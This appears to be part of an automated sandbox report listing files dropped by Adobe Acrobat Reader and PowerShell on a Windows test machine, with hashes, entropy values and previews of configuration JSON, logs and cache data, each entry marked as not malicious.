SHA1:	2B761B09643FC6A9C37A6CB7D3C0C78F55A57AD5
SHA-256:	5D6C56B04D301BE249191F0ECFD0796F173A0D7FEAFB37A06173BACE2AF38CA5
SHA-512:	EA756D3CB908CA97769BE324B1AFF472A8E98C6A8410E036EFFC41983736D9BA4B8007C5174DB57317B0A430DCE090E097328D6436ED363318B1204EC9810375
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.247794642712683
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJf21rPeUkwRe9:YvXKXMy2vR/ZwHA25G+16Ukee9
MD5:	B00CE481E3521DBCD7D00300DF493017
SHA1:	F63986C27F786F63795AE3937FBE81450316F1F1
SHA-256:	6AA3CAC32BDC9D34953BB3D6886F49C32F0666B8536FCE896D52CBABCD4F7B67
SHA-512:	FC98E469A4F1B505DC42AEFE15860BA0CDFB86BC61F8E41066D946B11E9D77F3C84DB36563BE16700CBE33767BB7ABA327D825FBA5518061B3DFCFFC5A8165FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663040424958027
Encrypted:	false
SSDEEP:	24:Yv6X4JhiCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSq1:Yv1JhicBgkDMUJUAh8cvMq1
MD5:	83E42234E2FC3BC1DCB910CF28E51E99
SHA1:	29746337827714A152A7C9FB4F86F7DA392A29B0
SHA-256:	7B99C6CCDF0B9F3C4DACBFF9544BEE1F424EB82FD5B42A821B038D0EAEF3C1A2
SHA-512:	0A4822D5243D29CB332614148C1FEEB34F3001786EA5DA95A2FEFEA7A58957D887F39F21DD5E033BD56DF3293A9C965C3FC20696CE84F941C553896896990864
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.222594482652413
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJfshHHrPeUkwRe9:YvXKXMy2vR/ZwHA25GUUUkee9
MD5:	6FEBDFF80B379DF6D94285A0667C8005
SHA1:	747791256FC9683231B18F5F00F3436DA8DE0AA0
SHA-256:	7B3A1741454C2831374DB2E2C2613E06D3B69D6F148A4DD1E320052255B8A38E
SHA-512:	1C3F957EFEF30B671C8E0787CB5D03ED586381C89DDBE82A6DB9B92807DD7E6839DF9EDF9849615F1B7D6666C463A2EBE017A85183C18E898BC61D45CF03A56D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.246815824777047
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJTqgFCrPeUkwRe9:YvXKXMy2vR/ZwHA25GTq16Ukee9
MD5:	9048E29360B87A3E5B4D070CC427CD64
SHA1:	739D2AD8E3B8A25EBFF5B96B845A0BA0CD6DAC8E
SHA-256:	49B21023E86CD26FD41038891652A1389CEC5E28C32CCC4AA129666AD0E3D409
SHA-512:	8A36FAE97A82337FFD38675AFCA45D0680D4FFBF725240EA02887AF89D7EA4A2102A61FD6FF94E409511EE2A475CE45A34B3DA3A63EB5C68D84F0A5647687A58
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137664911054724
Encrypted:	false
SSDEEP:	48:YzOQYZ2wQaTzLQurkD6/H/FM03cA87Bf5hRz9HIO:iYQGnHw+/YlRhZ
MD5:	28C28D9B60D64F573FB7B28DBAFE080B
SHA1:	811A178891709262D3FA8AF20232E95CF98CAB2E
SHA-256:	ED9467E64BE3D3AA739CAB9AB3DBF534461DF71C479B19D68F3A822C27826D84
SHA-512:	1A73F338DF02E01F58651BF5A912E2D4FEBD6FDE18AA5CD5B8CF944A2FA6E7F71E6371DB8E31A645A973DA914F051CD3A99FD66C7513E17EC147F21D24DE4941
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"bf6223821a2a66ea1cae303ca6882128","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736517693000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"88d8b31cf590119c784ef7bd650e9d6f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736517693000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"23b4c59e0cf2bf2f8323f46ff3d0a921","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736517693000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"19f47627b5d602fe651b67fd015b0570","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736517693000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"39585982d42f4bacd74fd2ba3663227f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736517692000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"30855d3a02978db4c2fecec41a47861c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.31874131118659
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe08tqVpV:TGufl2GL7ms9WR1CPmPbPah0WypilISQ
MD5:	BAA588FD7211CEEB1E9EF379ECF3A329
SHA1:	7374FCF4821700E25EAD872FA7E5B1DDC12F6099
SHA-256:	34B11CC2B7813C2C3CC42D6E44AD5A80826AB634AFB8A745ED3DD086B9471D59
SHA-512:	485569785801F61112CD141DF60E84FDDF607A2D0275E41668CC6AF2932C89CA2EFFA9E4718C7AC4CF6B28BC284625A9E1BC7086406EC32EA7D92EA6B0BC8529
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7812100633300683
Encrypted:	false
SSDEEP:	48:7M5SWR1CPmPbPah0PypilIV2qFl2GL7msqc:7ASWfMwbPah0Py2KVmsqc
MD5:	0D8AB050A24EBB4A23FE970855FAD696
SHA1:	EA1C34C6B13447A65336E92B313C1759EC8C4735
SHA-256:	4156C73F1D1DBD57A832B33BAC606962728616CC8FA78A7CF467D5F04A1B76DB
SHA-512:	3575767AC2F2677432D4832E13063A21B30694359DAE5C2D0F9F70442530340D0D61D81589F8C2D6D0BCE48FCC63C508F33D7BF1060410A98BC1F70A86F9BD58
Malicious:	false
Preview:	.... .c........#..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgkIYpBX4E1LusS2op/QWCL1JDyYyu:6a6TZ44ADEkIYpBX4wLuseVXK
MD5:	769046F82BCF6FA51A116AF4C0BE2883
SHA1:	940D386F4F6DBBA83DF41E2EA1890722D062C5DB
SHA-256:	867E516A267243E77028C3D9DD910CDCBD3C25A164F3E144E1046C3AAD35AEA9
SHA-512:	C24DE6477162462C795F674E29A170DF9521B768D648E4D1372B6B9852A7A495998B5E9CFF25B529DB2E5B44E9D922EE8125599E7DD6C31D3E65EADD542F72B3
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIa7922.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl0ciflH:Qw946cPbiOxDlbYnuRK+bRflH
MD5:	D9F57884FC4F8FA897741D98228C5189
SHA1:	194FF07D437D3FCA3613FA7E67DE2A38794E9A6F
SHA-256:	6EA527E9F2A21A801EAA3A9B86C7F566CD86AE587FF6AF9AD3D0AE57421C612E
SHA-512:	300B056E0118B6DCB4671C934975D450F87319F10A2A6281FEDEA8BC2F775651B9FE8D6DE1935838E20AAFC215B6BE59DA222DCF97CCEA28BC7DC8E71FCEA699
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.9.:.0.1.:.3.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cfopo5h.0ex.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_obnvqio0.xw4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 09-01-26-870.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	5.350970267853635
Encrypted:	false
SSDEEP:	384:TEINfPmYkaV9pb2BmFPN4uiJ5ShwKnLsdmMgOyuYlQubhojUsTHnaVanCfhxKCKF:tB13+mSko
MD5:	498EAC196C8AC56886DE732790A4513B
SHA1:	EFA047629856E9EB5C30B26017C935571DFCC4F7
SHA-256:	35A09DBDBF667C4C47029644CD034E71251799D1ECA4968F27CDDDB827DDB984
SHA-512:	05AF0FE5F229B75107D1C71E00BA6B6C15FD60C0C3A961F0A541DC3C13F8A335DEF2896C59B7F0A16E50FCC53B3C8AE6B73FA093B5A565283A502F62416EF6CE
Malicious:	false
Preview:	SessionID=5acc0541-b4e6-4d5c-9881-e3198fc09c1a.1736517686904 Timestamp=2025-01-10T09:01:26:904-0500 ThreadID=7284 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5acc0541-b4e6-4d5c-9881-e3198fc09c1a.1736517686904 Timestamp=2025-01-10T09:01:26:905-0500 ThreadID=7284 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5acc0541-b4e6-4d5c-9881-e3198fc09c1a.1736517686904 Timestamp=2025-01-10T09:01:26:905-0500 ThreadID=7284 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5acc0541-b4e6-4d5c-9881-e3198fc09c1a.1736517686904 Timestamp=2025-01-10T09:01:26:905-0500 ThreadID=7284 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5acc0541-b4e6-4d5c-9881-e3198fc09c1a.1736517686904 Timestamp=2025-01-10T09:01:26:906-0500 ThreadID=7284 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.406901784385057
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbVucb2ITZcbT:ceo4+rsCzTTU
MD5:	33894F974F7F37DBE47760B8D6BA2DA3
SHA1:	A2F90700F2C13DC1AAF9CAC6D457E7A500FB634C
SHA-256:	B65B35D1EBD740FB4FF1432BD27CEFD14D16B80C3D941C314F4846656483618C
SHA-512:	7A1E2ADA6575752C87DC31A31C434FD0FD47EB1C59723ACF332673951F4F2880496D31B5C31DC3ACBB6327C20E50CA300FC70F2A403AEC5C8C0E3AAF0C3CCF53
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4af5015d-ba24-4c2e-a250-908fd4f01a8f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\60f2d48a-8ce6-43bf-ad26-018517e70e8e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6992be18-f4c8-4e5c-900a-63e75a5642bb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
